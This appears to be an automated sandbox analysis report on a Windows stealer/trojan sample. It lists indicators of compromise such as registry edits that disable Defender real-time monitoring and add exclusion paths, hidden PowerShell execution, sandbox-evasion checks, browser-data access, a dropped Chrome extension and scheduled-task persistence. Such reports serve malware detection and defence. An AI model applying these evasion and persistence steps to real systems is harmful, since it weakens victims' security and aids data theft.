57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d

Analysis

max time kernel
237s
max time network
238s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 05:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
Size

7.2MB
MD5

996233a65fee55d8bce4b872e4c117e1
SHA1

95e894cb95f14cf1438e9b8d75a7594dcdaaf4e3
SHA256

57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d
SHA512

d832f158cdab5dc47776d336521942f548259cb6976f0e6bcafa67b6cc221fca58b438fad5829978fe4c97850c64477f953653b8421ed9267734a2352e538d7e
SSDEEP

196608:91OZfn3rm11qJ2sIwxXzRCSQwmWtT7GkZbi0IFZU7P:3OZfn3Cy2pwmwT6kREUb

Score

10^/10

discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ruCXiJvmKkuTmmIt = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ATiuMetuMWHU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ruCXiJvmKkuTmmIt = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IchmcMfQaXUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ATiuMetuMWHU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UyPATDbiwjgOC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ruCXiJvmKkuTmmIt = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IchmcMfQaXUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VcCVDDBRU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\NonltQQlyMoZtVVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UyPATDbiwjgOC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ruCXiJvmKkuTmmIt = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VcCVDDBRU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\NonltQQlyMoZtVVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXE

pid process

2688 powershell.exe
1708 powershell.EXE
1896 powershell.exe
2840 powershell.exe
2540 powershell.exe
1840 powershell.EXE
896 powershell.EXE

pid	process
2688	powershell.exe
1708	powershell.EXE
1896	powershell.exe
2840	powershell.exe
2540	powershell.exe
1840	powershell.EXE
896	powershell.EXE

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

vgQjbpH.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Control Panel\International\Geo\Nation vgQjbpH.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exepaqFMqv.exevgQjbpH.exe

pid process

2976 Install.exe
2292 Install.exe
1156 paqFMqv.exe
2384 vgQjbpH.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Control Panel\International\Geo\Nation	vgQjbpH.exe

pid	process
2976	Install.exe
2292	Install.exe
1156	paqFMqv.exe
2384	vgQjbpH.exe

Loads dropped DLL 23 IoCs

Processes:

57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exeInstall.exeInstall.exeWerFault.exerundll32.exeWerFault.exeWerFault.exe

pid	process
1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
2976	Install.exe
2976	Install.exe
2976	Install.exe
2976	Install.exe
2292	Install.exe
2292	Install.exe
2292	Install.exe
2448	WerFault.exe
2448	WerFault.exe
2448	WerFault.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
2680	WerFault.exe
2680	WerFault.exe
2680	WerFault.exe
2680	WerFault.exe
2680	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops Chrome extension 1 IoCs

Processes:

vgQjbpH.exe

description ioc process

File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json vgQjbpH.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	vgQjbpH.exe

Drops file in System32 directory 14 IoCs

Processes:

powershell.exevgQjbpH.exerundll32.exepowershell.exepaqFMqv.exepowershell.EXEpowershell.exepowershell.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	vgQjbpH.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	paqFMqv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	paqFMqv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	paqFMqv.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	vgQjbpH.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	paqFMqv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 13 IoCs

Processes:

vgQjbpH.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	vgQjbpH.exe
File created	C:\Program Files (x86)\VcCVDDBRU\uugtkRH.xml	vgQjbpH.exe
File created	C:\Program Files (x86)\UyPATDbiwjgOC\crSAlwt.dll	vgQjbpH.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	vgQjbpH.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	vgQjbpH.exe
File created	C:\Program Files (x86)\ATiuMetuMWHU2\hyEaUhJ.xml	vgQjbpH.exe
File created	C:\Program Files (x86)\UyPATDbiwjgOC\PSToARg.xml	vgQjbpH.exe
File created	C:\Program Files (x86)\IchmcMfQaXUn\RoYWdDJ.dll	vgQjbpH.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	vgQjbpH.exe
File created	C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\tNlZvxz.dll	vgQjbpH.exe
File created	C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\fHzrOgx.xml	vgQjbpH.exe
File created	C:\Program Files (x86)\VcCVDDBRU\mDvAQj.dll	vgQjbpH.exe
File created	C:\Program Files (x86)\ATiuMetuMWHU2\QmqDgvIALQsjv.dll	vgQjbpH.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bmQWCxleEgxbTUrSZz.job	schtasks.exe
File created	C:\Windows\Tasks\nsbPTSdSgPuDRRbhc.job	schtasks.exe
File created	C:\Windows\Tasks\RShenKKeUbJzTjI.job	schtasks.exe
File created	C:\Windows\Tasks\ROHimGgVjIIdgMKwK.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2448 1156 WerFault.exe paqFMqv.exe
2680 2292 WerFault.exe Install.exe
2020 2384 WerFault.exe vgQjbpH.exe

pid	pid_target	process	target process
2448	1156	WerFault.exe	paqFMqv.exe
2680	2292	WerFault.exe	Install.exe
2020	2384	WerFault.exe	vgQjbpH.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

vgQjbpH.exerundll32.exewscript.exepaqFMqv.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\0a-79-9a-29-cf-db	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	paqFMqv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecision = "0"	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecisionTime = 40cb547974cbda01	vgQjbpH.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDetectedUrl	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionTime = 80d9b97a74cbda01	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionTime = e0011d6274cbda01	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecision = "0"	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	paqFMqv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionReason = "1"	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecisionTime = e0011d6274cbda01	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecision = "0"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDetectedUrl	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0018bc5074cbda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecisionReason = "1"	vgQjbpH.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	paqFMqv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db	vgQjbpH.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000000da95074cbda01	paqFMqv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	vgQjbpH.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\0a-79-9a-29-cf-db	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	vgQjbpH.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadDecisionTime = 80d9b97a74cbda01	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	paqFMqv.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionTime = 40cb547974cbda01	vgQjbpH.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadNetworkName = "Network 3"	vgQjbpH.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-79-9a-29-cf-db\WpadDecisionTime = e0011d6274cbda01	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{DBB4EBAB-9170-4B81-B231-53D510E45737}\WpadNetworkName = "Network 3"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2376	schtasks.exe
2492	schtasks.exe
2928	schtasks.exe
924	schtasks.exe
2152	schtasks.exe
2712	schtasks.exe
2544	schtasks.exe
2124	schtasks.exe
2248	schtasks.exe
2436	schtasks.exe
2488	schtasks.exe
2380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEvgQjbpH.exepowershell.exepowershell.exe

pid	process
2540	powershell.exe
1840	powershell.EXE
1840	powershell.EXE
1840	powershell.EXE
896	powershell.EXE
896	powershell.EXE
896	powershell.EXE
2688	powershell.exe
1708	powershell.EXE
1708	powershell.EXE
1708	powershell.EXE
2384	vgQjbpH.exe
2384	vgQjbpH.exe
